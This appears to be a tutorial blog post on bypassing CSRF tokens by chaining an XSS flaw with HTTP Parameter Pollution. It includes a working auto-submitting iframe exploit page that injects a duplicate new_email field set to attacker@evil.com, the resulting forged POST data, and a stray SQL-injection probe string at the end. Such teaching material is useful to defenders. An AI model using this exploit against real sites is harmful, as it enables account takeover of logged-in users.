Cross-Site Request Forgery is a type of malicious website/exploit where attacker commands are executed on a website in behalf of an authenticated user. CSRF attacks specifically target state-changing requests since attacker has no way to see the response of the forged request thanks to Same-origin Policy.
Nowadays most web application frameworks offer built-in protection against CSRF attacks by forcing the use of the so called CSRF tokens. Before rendering the page which contains the form, the server generates a unique token which is required to submit data to the server. The attacker has no way to know what is the generated token as it is (hopefully) unpredictable.
Based on the context, an attacker can bypass token protection leveraging on Cross-Site Scripting and HTTP Parameter Pollution.
Let’s jump into action. When selecting our target, we need to make sure that:
- our target’s website doesn’t use – X-FRAME-OPTIONS: DENY – HTTP header (it can be SAMEORIGIN)
- our target’s website has an XSS vulnerability in the same domain of form
- our target’s web-server selects the last occurrence of the same HTTP parameter (Apache/PHP does this)
If those three conditions are met, we can proceed with the exploitation!
Consider that the target’s website allows logged in users to change their email using a simple page that contains the following form (assume $csrf_token is unique token generated server-side).
<!-- change_email.php --> <form method="post"> Current Email: <input type="text" name="cur_email" value="<?php echo $current_email; ?>"/> <br/> New Email: <input type="text" name="new_email"/> <br/> <input type="hidden" name="token" value="<?php echo $csrf_token; ?>"/> <input type="submit" value="Change Email"/> </form>
This form is usually not vulnerable to CSRF attacks because of the unpredictable $csrf_token, but if we manage to find an XSS vulnerability on the same domain we can bypass this protection. This is the plan:
- Create an hidden iframe that points to http://target.com/change_email.php
- Create a new hidden parameter (with JavaScript) and append it to the form so, using the principle of HPP we can trick web-server and submit attacker’s email
- Submit the hidden iframe
Let’s create our dummy exploit page:
<!-- exploit.html --> <html> <head> <script type="text/javascript"> function submit_iframeform() { var newParam = document.createElement("input"); var myForm = iframe_form.document.forms[0]; //might be some other form on the same page newParam.type = "hidden"; newParam.name = "new_email"; newParam.value = "attacker@evil.com"; myForm.appendChild(newParam); myForm.submit(); } </script> </head> <body onload="submit_iframeform();"> <iframe name="iframe_form" src="https://target.com/change_email.php">< /iframe> </body> </html>
Of course there are other ways to code this that would achieve the same goal. I wrote the javascript code – I hope – in the simplest way to make you understand how it works.
Wondering how the HTTP request POST data looks like after submitting form from exploit.html?
cur_email=current%40provider.com&new_email=&token={RANDOM_TOKEN}&new_email=attacker%40evil.com
We’re using HTTP Parameter Pollution principle here: in fact we’re adding a parameter (new_email) that is already present in the POST content. Now you might be thinking, how does the web server react if we send to it two parameters with the same name? If target web-server is Apache, last occurrence of new_email is taken in consideration. Attack successful!
Are you thinking “Why do we need XSS in order to make this attack working?” that’s because of the Same-origin Policy. We cannot access property ‘document’ of iframe_form if we’re not running exploit.html from the same domain where change_email.php is.
id=1′